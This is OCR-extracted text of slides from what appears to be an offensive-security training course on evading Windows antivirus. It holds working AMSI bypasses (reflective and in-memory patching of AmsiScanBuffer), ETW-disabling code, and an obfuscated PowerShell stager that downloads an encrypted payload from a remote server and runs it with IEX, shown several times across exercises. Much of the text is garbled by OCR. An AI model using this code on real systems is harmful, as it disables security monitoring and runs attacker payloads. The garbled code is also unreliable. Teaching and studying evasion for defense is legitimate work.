00000050 2C 24 4B 3D 24 41 52 67 53 3B 24 53 3D 30 2E 2E , $K=%3ARQgS; $5=0. .
00000060 32 35 35 3B 30 2E 2E 32 35 35 7C 25 7B 24 4A 3D  255;0..255|%{%1=
00000070 28 24 4A 2B 24 53 5B 24 5F 5D 2B 24 4B 3B 24 5F ($3+3s[$_1+3K[$_
00000080 25 24 4B 2E 43 4F 55 6E 74 5D 29 25 32 35 36 3B  %$K.count])%256;
00000090 OD OA 24 53 5B 24 5F 5D 2C 24 53 5B 24 4A 5D 3D uu$s[$_],%s[%1]=
000000A0 24 53 5B 24 4A 5D 2C 24 53 5B 24 5F 5D 7D 3B 24 $s[$3]1,$s[$_1};9
000000BO 44 7C 25 7B 24 49 3D 28 24 49 2B 31 29 25 32 35 D[%{$1=($1+1)%25
000000cC0 36 3B OD OA 24 48 3D 28 24 48 2B 24 53 5B 24 49 6;0u$H=(SH+$S[$1
000000D0 5D 29 25 32 35 36 3B 24 53 5B 24 49 5D 2C 24 53 1)%256;%$s[$1], %S
000000EO 5B 24 48 5D 3D 24 53 5B 24 48 5D 2C 24 53 5B 24 [$H]=3S[$H], $S[$
000000F0 49 5D 3B 24 5F 2D 62 58 6F 52 24 53 5B 28 24 53 I];%_-bXoRS$sS[($s

‘@J Blsecurity.

e



Exercise 3: ThreatCheck

Hint

"The line 9 — 12 are being flagged in ThreatCheck

=IIF($PSVErsioNTabLe .PSVErsIoN.Major -GE 3){$REf=[Ref]_AssEMBly.GEtTyPE(' System.Management.Automation.Amsi' '+ 'Utils');

$Ref.GeTFIeLd("amsiInitF '+ 'ailed’', "NonPublic,
[system.Diagnostics.Eventing.EventProvider].

Static').setvalue(SNuLl, $Trug);

$u="Mozi1la/5.0 (Windows NT 6.1; wWow64; Trident/7.0; rv:11.0) like Gecko';

$ser=$ ([TEXT.ENCOdiNg] : :UNiCoDe .GETSTrINg([CONVeRT]::

$B3904. PROXy—[SYSteM NET. WeBREQueSt] :DEFAULTWEBPROXY;

$h ReDeN = M_N REDEN
$K= SySTem.TEXT.EnCo-1Ng

d - WOKCREDEN

*XKN)#MCu39 I Hp>PmS2%E ; LUF

9 T ;
10 = $R={%D, $K=5ARQS;$5=0..255;0..255|%{37=C51+5S[S_J+SK[$_%IK.COUNt])%256;
11.[]$S[$_] $s[$J] $s[$J] $s[$_]} $D|V{$I ($I+l)%256

RS HEADEFSVAoD COO 1e, UAJItyKM1TVn JJU—X VeSIPZCET X NlRypG X
14 $t="/news.php';$B3904 .HeADERS.ADD( 'User-Agent',h $u);
15 $daTa=$b3904.DoWN]oaDDaTa($seR+$T);$iv=$datA[0..3];

16 $data=$daTal4..%DaTa.lENgtH];-JoiN[charR[]](&

m;#1“”=ﬁivﬁ4

|
jJAJIJJJJJ

$R $DATA ($IV+$K))|IEX

1

2

3 "GetFie 1d"('m_e'+'nabled’, 'Non'+"Public, '+'Instance') .setvalue([Ref].Assembly.GetType( Syste'+'m.Manage
4 [SYSTEM.NET.SERVICEPOiINTMANager] : :EXPECt100ConTiNUe=0;$b3904=NEw-0ObJecT SystEM.NeT.WEbCTiENT;
5

6

7

FroMBAse64STring (' aABOAHQACAABACSALWAXADKAMYAUADEANgA4AC4ANWAOACAAMQAYADKAOGA4ADKAOAADAA==")));

AlS;$Script:Proxy = $b3904.Proxy;
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Exercise 3: ThreatCheck

Answers
" Move line 9 to break the signature

=IIF($PSVErsioNTabLe .PSVErsIoN.Major -GE 3){$REf=[Ref]_AssEMBly.GEtTyPE(' System.Management.Automation.Amsi' '+ 'Utils');
$Ref.GeTFIeLd('amsiInitF '+ 'ailed', "NonPublic,static').setvalue($SNuLTl, $TruE);
[system.Diagnostics.Eventing.EventProvider]."GetFie 1d"('m_e'+'nabled’, "Non'+'Public, "+'Instance’').setvalue([Ref].Assembly.GetType('Syste'+'m.Manage
[SYSTEM.NET.SERVICEPOiINTMANager] : :EXPECt100ConTiNUe=0;$b3904=NEw-0ObJecT SystEM.NeT, 1iENT;
$u="Mozi1la/5.0 (Windows NT 6.1; wWow64; Trident/7.0; rv:11.0) like Gecko';
$ser=$ ([TEXT.ENCOdiNg] : :UNiCoDe.GEtSTrINg([CONVeRT] : : FrOMBAse64STring (' aABOAHQACAAG DkAMgAUADEANGA4AC4 ANWAOACAAMQAYADKAOGA4ADKAOAADAA==")));
$B83904 . PROXy=[SYSteM.NET.WeBREQuest] : :DEFAULtWEBPROXY;
$h3904  PROX ReDeNTIA = M., N jal ca - AS- : roxy = $b3904.Proxy;
$K=|SySTem.TEXT.EnCodiNg] : : ASCII.GEtBYTeS ;

1
2
3
4
5
6
7
9

U - PR=13D, DKk=DAR(JS, 35=U. . L SAPEISFER IR
11 =$s[$_1,%$5[$31=%5[%31,9$S[$_13;9$D|%{$1=(81+1)%256;
12 [ $H=(8H+$s[$1])%256;$s[$1],8S[$H]=$S[$H],3S[$T];$_-bxoRSS[($S[$T]+3$S[$H])%256]31};
13  $B3904.HEADErs.AdD("cCookie™,"UAJItyKMiTVvnfjiu=x5V63iPZtPBT/XINORYpG/xTheo=");
14 $t="/news.php';$B3904 .HeADERS.ADD( 'User-Agent',h $u);
15 $daTa=%$b3904.DowNToapDaTa($ser+5$T);$iv=5datal[0..3];
16 $data=$daTal4..%DaTa.lENgtH];-JoiN[chaR[]](& $R $DATA ($IV+$K)) |IEX

PS C:\Users\dredg\oneDrive\Desktop\ThreatCheck-master\ThreatCheck\Threatcheck\bin\Debug> .\Threatcheck.exe -f Launcher.psl
[+] No threat found!
[*] Run time: 0.7s

[ ’EJ 1) {W

L 1,14
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Dynamic Evasion




What Can We Do?

ldentify “Known Bad”
sSandbox detection
=Known hunter/AV processes

"|nject a different way

=Jse a different download
method

=Circumvent known choke
points (D/invoke vs P/invoke)

9_‘“ ,rf‘ L

Crrnmi
LUSEDURITY.

Change how we are executing:

Corrupt the Detection Process:
=Patch AMSI

=Patch ETW

sUnhook APIs

63



AMSI Bypass 1: Reflective Bypass

Simplest Bypass that currently works
SRef=[REF].Assembly.GetType('System.Management.Automation.
AmsiUtils');

SRef.GetField('amsilnitFailed', 'NonPublic, Static').SetValue(SNULL,
STRUE);

- % Matt Graeber .
Following

[Ref].Assembly.GetType('
Automation.AmsiUtils').GetField('amsilnitF
ailed','NonPublic,Static').SetValue($null,$true

)

24 71 ® ROV sis R §

v 5
T
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What Does it Do?

Using reflection, we are exposing functions from AMSI

We are setting the AmsilnitFailed field to True which

source code shows causes AMSI to return:
AMSI| SCAN RESULT NOT FOUND

AMSI.dI

65



Why does this work?

AMSI is loaded into the Powershell process at start up
so it has the same permission levels as the process the
malware is in

Anti Malware Scan Interface

PowerShell v5 Anti-Malware
Scan Interface
Windows 10

Allows Windows Defender and third

party Anti-virus solutions access the
script code

Provides:
Memory and Stream scanning

De-obfuscated plain code

Detect C# .NET usage of the PowerShell assembl

) Blhecrmiy.

?5&; LLSECURITY!
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AMSI Bypass 2: Patching AMSI.dIl in Memory

More complicated bypass, but still allows AMSI to load
Patches AMSI for both the PowerShell and CLR runtime

=l$MethodDefinition = @'
[D11Import("kernel132", charset=Charset.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);

[D1T1Import("kernel132.d11", charset=Charset.Auto)]
pubTlic static extern IntPtr GetModuleHandle(string TpModuleName) ;

[D11Import("kernel32")]
pubTlic static extern bool virtualProtect(IntPtr TpAddress, UIntPtr dwsize, uint fiNewProtect, out uint Ipfloldprrotect);

'@

$Kernel132 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -Namespace ‘win32’ -PassThru
$ASBD = "Amsis"+"canBuffer"

$handle = [win32.Kernel132]::GetModuleHandle("amsi.d11")

[TntPtr]$BufferaAaddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)

[UuInt32]%size = 0x5

[UInt32]%ProtectFlag = 0x40

[uInt32]$oldpProtectFlag = 0

[win32.Kernel32]::virtualProtect($Bufferaddress, $size, $ProtectfFlag, [Ref]$oldProtectFlag)
$buf = new-object byte[] 6

$buf[0] [UInt32]0xB8

$buf[1] [uInt32]0x57

$buf[2] [uInt32]0x00

$buf[3] [uint32]0x07

$buf[4] [Uint32]0x80

$buf[5] [uint32]0xc3

[system.runtime.interopservices.marshal]::copy($Sbuf, 0, $BufferAddress, 6)

?%5' Blstgumiiy, 67
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AMSI Bypass 2: Patching AMSI.dIl in Memory

We use C# to export a few functions from kernel32 that
allows to identify where in memory amsi.dll has been loaded

=1$MethodDefinition = @'
l [D11Import("kernel132", charset=Charset.Ansi, ExactSpelling=true, SetLastError=true)]

public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);

[D1T1Import("kernel132.d11", charset=Charset.Auto)]
pubTlic static extern IntPtr GetModuleHandle(string TpModuleName) ;

Lo~ U W2

[D11Import("kernel32")]
pubTlic static extern bool virtualProtect(IntPtr TpAddress, UIntPtr dwsize, uint fiNewProtect, out uint Ipfloldprrotect);

$Kernel132 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -Namespace ‘win32’ -PassThru
$ASBD = "Amsis"+"canBuffer"

$handle = [win32.Kernel132]::GetModuleHandle("amsi.d11")

[TntPtr]$BufferaAaddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)

[UuInt32]%size = 0x5

[UInt32]%ProtectFlag = 0x40

[uInt32]$oldpProtectFlag = 0

[win32.Kernel32]::virtualProtect($Bufferaddress, $size, $ProtectfFlag, [Ref]$oldProtectFlag)
$buf = new-object byte[] 6

$buf[0] [UInt32]0xB8

$buf[1] [uInt32]0x57

$buf[2] [uInt32]0x00

$buf[3] [uint32]0x07

$buf[4] [Uint32]0x80

$buf[5] [uint32]0xc3

[system.runtime.interopservices.marshal]::copy($Sbuf, 0, $BufferAddress, 6)

F.. | FrTTor
v Blseoumiiy; 68
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AMSI Bypass 2: Patching AMSI.dIl in Memory

We modify the memory permissions to ensure we
have access

=1$MethodDefinition = @'
l [D11Import("kernel132", charset=Charset.Ansi, ExactSpelling=true, SetLastError=true)]

public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);

1
2
3
4
5 [D1T1Import("kernel132.d11", charset=Charset.Auto)]

6 public static extern IntPtr GetModuleHandle(string lpModuleName);

7

8 [D11Import("kernel32")]

pubTlic static extern bool virtualProtect(IntPtr TpAddress, UIntPtr dwsize, uint fiNewProtect, out uint Ipfloldprrotect);

$Kernel132 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -Namespace ‘win32’ -PassThru
$ASBD = "Amsis"+"canBuffer"

$handle = [win32.Kernel132]::GetModuleHandle("amsi.d11")

[TntPtr]$BufferaAaddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)

[UuInt32]%size = 0x5

[UInt32]%ProtectFlag = 0x40

[uInt32]$oldpProtectFlag = 0

[win32.Kernel32]::virtualProtect($Bufferaddress, $size, $ProtectfFlag, [Ref]$oldProtectFlag)

[uInt32]0xB8
[uInt32]0x57
[uInt32]0x00
[uint32]0x07
[Uint32]0x80
[uint32]0xc3

$buf [0]
Sbuf[1]
Sbuf[2]
$buf[3]
Sbuf[4]
$buf[5]

[system.runtime.interopservices.marshal]::copy($Sbuf, 0, $BufferAddress, 6)

TN
& ABUsEIRIT
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AMSI Bypass 2: Patching AMSI.dIl in Memory

Modifies the return function to all always return a
value of RESULT NOT DETECTED

=l$MethodDefinition = @'
[D11Import("kernel132", charset=Charset.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);

[D1T1Import("kernel132.d11", charset=Charset.Auto)]
pubTlic static extern IntPtr GetModuleHandle(string TpModuleName) ;

[D11Import("kernel32")]
pubTlic static extern bool virtualProtect(IntPtr TpAddress, UIntPtr dwsize, uint fiNewProtect, out uint Ipfloldprrotect);

'@

$Kernel132 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -Namespace ‘win32’ -PassThru

$ASBD = "Amsis"+"canBuffer"

$handle = [win32.Kernel132]::GetModuleHandle("amsi.d11")

[TntPtr]$BufferaAaddress = [win32.Kernel32]::GetProcAddress($handle, $ASBD)

[UuInt32]%size = 0x5

[UInt32]%ProtectFlag = 0x40

[uInt32]$oldpProtectFlag = 0

win32.Kernel32]::virtualProtect($BufferAddress $ProtectFlag Ref]$oldpProtectFlag)
byte

[uInt32]0xB8

[uInt32]0x57

[uInt32]0x00

[uint32]0x07

[Uint32]0x80

[uint32]0xc3

$buf [0]
Sbuf[1]
Sbuf[2]
$buf[3]
Sbuf[4]
$buf[5]

[system.runtime.interopservices.marshal]::copy($Sbuf, 0, $BufferAddress, 6)

£

.
crriipiTvi
?gégkﬂiljbﬂﬂh
rdg



Exercise 4: AMSI| Bypasses

1. Run AMSI bypass 1 and load seatbelt
2. Run AMSI bypass 2 and load seatbelt
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Why Does This Work?

* AMSI.dll is loaded into the
same security context as the
user.

*This means that we have
unrestricted access to the
memory space of AMSI

*Tells the function to return a
clean result prior to actually
scanning

L ¥ BYPASSED

& 7}". )

BLsecuriry, 72



AMSITrigger

AMSITrigger is a tool to identify -

INUN Sl O o o
malicious string in PowerShell /=" /=10 =g g e
7/ VO S O U I VPO I PR O

HES 1/ w3

Makes calls using
AMSIScanBuffer line by line

Looks for

-i, --inputfile=VALUE Filename

AIVISI RESU LT DETECTE D -u, --url=VALUE URL eg. https://10.1.1.1/Invoke-NinjaCopy.psl
—_— — -f, --format=VALUE

Output Format:

@ _RythmStick

1 - Only show Triggers
res ponse COde 2 - Show Triggers with line numbers

3 - Show Triggers inline with code

httpS://glthUb.Com/Ryth mStiCk 4 - Show AMST calls (xmas tree mode)

-d, --debug Show debug info

AIVISIT : -m, --maxsiglength=VALUE maximum signature Length to cater for,
/ rigger
-c, --chunksize=VALUE Chunk size to send to AMSIScanBuffer,
default=4096
-h, -?, --help Show Help

L)
v Blserumiy,

LR



Exercise 5: AMSITrigger

ldentify any possible lines of code that are being
flagged by AMSI.

2. What lines are they?

Obfuscate the lines (if possible)

4. What is the purpose of the block of code being

i
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flagged?



Exercise 5: AMSITrigger

£

Hint
=Take a look at: ‘amsilnitF’ +‘ailed’, ‘NonPublic.Static’

.\Amsi1Trigger_x64.exe -1 launcher.psl

[+] ""+'utils’);
$Ref.GeTFIeLd('amsiInitF '+ 'ailed’, "NonPublic,static’) .Setvalue($NuLl,$"

IF($PSVErsioNTabLe.PSVErSIoN.Major -GE 3){$REf=[Ref].AssSEMBly.GEtTyPE('System.Management.Automation.Amsi'+'Utils");

$Ref.GeTFIeLd('amsiInitF'+'ailed', "NonPublic,Static').Setvalue($NuLl,$TruE);

$K=[SySTem.TEXT.EnCodiNg] : :ASCII.GEtBYTeS('v[IGTbf*XkN)#MCu39!Hp>PmS2%E;LUF");

LSECURITY
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AMSITrigger

We can obfuscate line 1, but line 2 cannot be easily obfuscated by
hand

Easiest option is getting a newly obfuscated AMSI Bypass

.\Amsi1Trigger_x64.exe -1 launcher.psl
[2] "ams'+'1InitF'+'ailed’, "NonPublic,static').sSetvalue($NuL1,$"

fgggJ Blsecumiiy. 76



So Where is the AMSI| Bypass?

IF($PSVErSioNTabLe.PSVErSIoN.Major -GE 3)

{SRET=LRef].ASSEMB1y.GEtTYPE( System.Management.Automation.Amsi + Utils );
$Ref.GeTFIeLd('ams'+'"iInitF'+'ailed', "NonPublic,Static').Setvalue($NuLl, $Trug);
;K=;SySTem.TEXT.EnCodiNg]::ASCII.GEtBYTeS('V|IGTE?*XkN)#MCu?@!Hp>PmS§%E;LUF');
[System.Diagnostics.Eventing.EventProvider]."GetFie 1d"('m_e'+"'nabled', 'Non'+'Public,'+'Instance')
.Setvalue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+"twLogProvider')."G
etFie 1d"('et'+'wProvider', "NonPub'+'1lic,S'+'tatic').Getvalue($null),0);};
[SYStEM.NEt.SERVICePOiNTMANager]: :EXPECct100ConTiNUe=0; $b3904=NEw-ObJecT SystEM.NeT.WEbCIiENT;
$u="Mozilla/5.0 (Windows NT 6.1; wow64; Trident/7.0; rv:11.0) like Gecko';

$ser=$([TEXT.ENCOdiNg]: :UNiCoDe.GEtSTrINg([CONVeRT]: :FroMBAse64STring('aABOAHQACAAGACS8ALWAXADKAMgA
UADEANgA4AC4ANWAOAC4AMQAYADKAOGA4ADKAOAAOAA==")));

$B3904 . PROXYy=[SYSteM.NET.WeBREQuest]: :DEFAULtWEBPROXY ;

$b3904 . PROXYy.CReDeNtIALS = [SyStEM.NET.CREDENTiaLCacHE]: :DeFAUTtNEtworKCReDENTIATS; $Script:Proxy =
$b3904.Proxy;

$R={9$D, $K=$ARQgS; $5=0..255;0..255|%{$I1=($I+$S[$_1+$K[$_%$K.COUNt])%256;
$S[$_1,9S[$31=9S[$31,$S[$_13;$D|%{$1=($1+1)%256;
$H=(SH+$S[$1])%256;$S[$1],$S[SH]=$S[$H],$S[$1];$_-bXoRSS[(SS[$T]+$S[$H]1)%256]1}};

$B3904 .HEADErsS.AdD("Cookie", "UAJItyKMiTVnfjIu=x5Vv63iPZtPBT/XINORYpG/xTheo=");
$t="/news.php';$B3904.HeADERS.ADD('User-Agent', $u);

$daTa=%$b3904 .DowNToabDaTa($serR+$T) ;$iv=%datA[0..3];

$data=$dATal4..%$paTa.1ENgtH];-JoiN[ChaR[]] (& $R $DAtA ($IV+$K)) |IEX




AMSI.Falil

Generates obfuscated AMSI AV fail
Bypasses in PowerShell What is AMS.fail?

AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are

R a n d O m | S e I e Cte d a n d randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at
y runtime/request so that no generated output share the same signatures.

No two bypasses have the
same signatures

Li n k : Generate Encoded
G|tH ub, What is AMSI?

As f-secure explained in one of their excellent blog-posts:

Generate

AMSI is an interface on which applications or services (third-party included) are able to scan a script’s content for malicious
usage. If a signature in the script is registered by the AMSI antimalware service provider (Windows Defender by default), it will
be blocked.

To put this into context, consider the following steps PowerShell takes to integrate with AMSI:

* When a PowerShell process is created, AMSI.DLL is loaded from disk into its address space.

« Within AMSI.DLL, there’s a function known as AmsiScanBuffer(), essentially the function used to scan a script’s content.

+ In the PowerShell command prompt, any supplied content would first be sent to AmsiScanBuffer(), before any execution
takes place.

%

| BY corioiTy.
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https://amsi.fail/
https://github.com/Flangvik/AMSI.fail

Exercise 6: AMSIFail

i
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Determine the block of code that is the AMSI
Bypass

Generate a unique AMSI Bypass

. Replace the existing bypass and rerun against
AMSITrigger



AMSI.Fail — Generate Bypass

What is AMSIL.fail?

AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are
randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at
runtime/request so that no generated output share the same signatures.

([bYTE]@x64)))).Invoke($([CHar]([bYtE]ox61)+[ChAR](109+39-39)+[cHar](115*75/75)+[CHar]([byTE]@x69)+[cHar]
([bYTE]@x49)+[ChAR] ([BYtE]@x6e)+[chAr]([ByTE]ox69)+[char](116)+[ChAr]([byte]ox46)+[CHAr]([bYTe]ox6l)+[char]
(49+56)+[cHaR](1@8)+[cHAr]([byte]ex65)+[Char]([byTE]Ox64)), (("NonPublic,Static") -as
[String].Assembly.GetType($(('$(('S'+'y'+'s"+'t'+'e'+'m").NOrMaLiZE([cHAR] ([BytE]@x46)+[cHar](111+104-104)+
[CHAR](114)+[chaR]([ByTe]ex6d)+[ChaR](68*58/58)) -replace [ChAR]([byte]ex5c)+[cHar]([BYte]ex7@)+[chAR]
([ByTe]ox7b)+[Char]([bYte]ex4ad)+[Char]([byTe]ex6e)+[CHaR]
([BytE]ox7d)).Reflectidn'+".BindingFlags').noRMaliZe([char]([bYtE]ex46)+[cHAr](14+97)+[Char](41+73)+[chaR]
(45+64)+[ChaR](46+22)) -replace [CHaR]([bYTe]ox5c)+[ChaR](112)+[CHar](123+64-64)+[Char](15+62)+[chAr](110)+
[cHAr]([byTelex7d))))).Setvalue($null,$True);

Generate

Generate Encoded

£ A
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AMSI.Fail — Replace the Bypass

$Tbuxs = @"
using System;
using System.Runtime.InteropServices;
public class Tbuxs {
[D11Import("kernel32")]
pubTlic static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DT11Import("kernel32")]
pubTlic static extern IntPtr LoadLibrary(string name);
[D11Import("kernel32")]
public static extern bool VirtualProtect(IntPtr 1pAddress, UIntPtr bnrppo, uint fINewProtect, out uint TpfloldProtect);}
"@
Add-Type $Tbuxs
$sdckzrv = [Tbuxs]::LoadLibrary("$([cHAr](97+68-68)+[char] (109)+[chaR] ([BYTE]Ox73)+[cHar] ([byTe]0x69)+
[CHaR] ([bYtE]Ox2e)+[chAR] (100%*54/54)+[chAR] (108*%102/102)+[CHAR] (108%69/69))")
$mpgigf = [Tbuxs]::GetProcAddress($sdckzrv, "$([char](65)+[cHar]([ByTe]0Ox6d)+[cHAR] ([BYTE]Ox73)+[chAR]([BYte]0x69)+[cHAR](83%64/64)+[char](99)+
[chAR] ([BytE]Ox61)+[CHar] (110%98/98)+[CHaR] ([byte]0x42)+[cHaR] ([bYTe]0x75)+[cHAR] ([Byte]0x66)+[cHar] (29+73)+[CHaR] (101+21-21)+[cHAr] (114))")

$p =0

[Tbuxs]::virtualProtect($mpgigf, [uint32]5, 0x40, [ref]$p)

$rims = "OxB8";$gsog = "0x57“;$hvvp = "0x00%;$xqqp = "0Ox07“;$ftez = "0x80;$vivw = "OxC3“;
$gfvwc = [Byte[]] ($rims,$gsog, $Shvvp, $xqqp,+$ftez,+$vivw)
System.Runtime.InteropServices.Marshal]:: $

SySTem.TEXT.EnCOd1Ng]: v
[System.Diagnostics.Eventing.EventProvider]."GetFie 1d"('m_e'+'nabled', 'Non'+'Public,'+'Instance').Setvalue([Ref].Assembly.GetType('Syste'+"'m.Management.Automation.T
racing.PSE'+'twLogProvider')."GetFie 1d"('et'+'wProvider', 'NonPub'+'lic,S'+"tatic').Getvalue($null),0);};

[SYStEM.NEt.SERVICePOi NTMANage r]::EXPEct100ConTiNUe=0; $b3904=NEw-ObJecT SystEM.NeT.WEbCTiENT;

$u="Mozilla/5.0 (Windows NT 6.1; wow64; Trident/7.0; rv:11.0) like Gecko';

$ser=$([TEXT.ENCOdiNg] : : UNiCoDe.GEtSTrINg([CONVeRT]: : FrOMBAse64STring (' aABOAHQACAABACSALWAXADKAMgAUADEANGA4ACAANWAOACAAMQAYADKAOGA4ADKAOAADAA==")));
$B3904.PROXYy=[SYSteM.NET.WeBREQuest]: :DEFAULtWEBPROXY;

$b3904 . PROXyY.CReDeNtIALS = [SyStEM.NET.CREDENTiaLCacHE]::DeFAUTtNEtworKCReDENTIATS; $Script:Proxy = $b3904.Proxy;
$R={3$D, $K=3ARgS; $5=0..255;0..255|%{$71=C3I+$S[$_]+$K[$_%$K.Count])%256;
$S[$_1,9S[$3]1=8s[$3],$S[$_1};9D|%{$1=($1+1)%256;
$H=(SH+3$S[$1])%256;$S[$1],$S[SH]=$S[$H],$S[$1];$_-bXoRSS[($S[ST]+$S[$H]D%256]11}};

$B3904 .HEADErsS.AdD("Cookie" , "UAJItyKMiTVnfjiu=x5V63iPZtPBT/XINORYpG/xTheo=");
$t="/news.php';$83904.HeADERS.ADD('User-Agent', $u);

$daTa=%$b3904.DowNloabDaTa($ser+$T) ;$iv=$datAa[0..3];

$data=%$dATal4..$DaTa.1ENgtH];-JoiN[ChaR[]] (& $R $DAtA ($IV+$K)) |IEX




Event Tracing




Event Tracing for Windows

Made up of three primary
components

=Controllers — Build and
configure tracing sessions

"Providers — Generates
events under there

"Consumers — Interprets
the generated events

HTHDLLEHS

Event tracing sessions

, Buffers | | Buffers

Events

PROVIDERS ||

' ﬁ 3 h ' E- T Ty
__ Buffers __ __ Buffers __

Real-time delivery

E":'E;
CONSUMERS Il
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Event Tracing for Windows

Lots of different event providers

Logs things like process creation and start/stop

= NET hunters can see all kinds of indicators from it:
Assembly loading activity,
Assembly name, function names
JIT compiling events

Various alert levels
= Key words can automatically elevate alert levels
= Custom levels can be set by providers as well

384



ETW Bypass - PowerShell

As mentioned, a very effective way of hunting .NET is through the
use of ETW events

Reflectively modify the PowerShell process to prevent events
being published

"ETW feeds ALL of the other logs so this disables everything

3 LogProvider = .Assemb ly. GetType( System.Management. Automation. Tracing.PSEtwLogProvider
4 fetwProvider = fLogProvider.GetField( etwProvider ', "NonPublic,static’).Getvalue($null)
5

T

£ ¥| i /
?5@# DL JLLURTl
T

[System. Diagnostics. Eventing. EventProvider].GetField( 'm_enabled’, "NonPublic,Instance’).setvalue(fetwProvider ,0);
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Exercise 7: Mimikatz
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Disable AMSI
Run Invoke-Mimikatz

Why is Mimikatz being killed?
What can we do to prevent it?
. Any additional malicious flags in the logs?


https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation/tree/main/Exercise%207

&y ) Blseumiy,



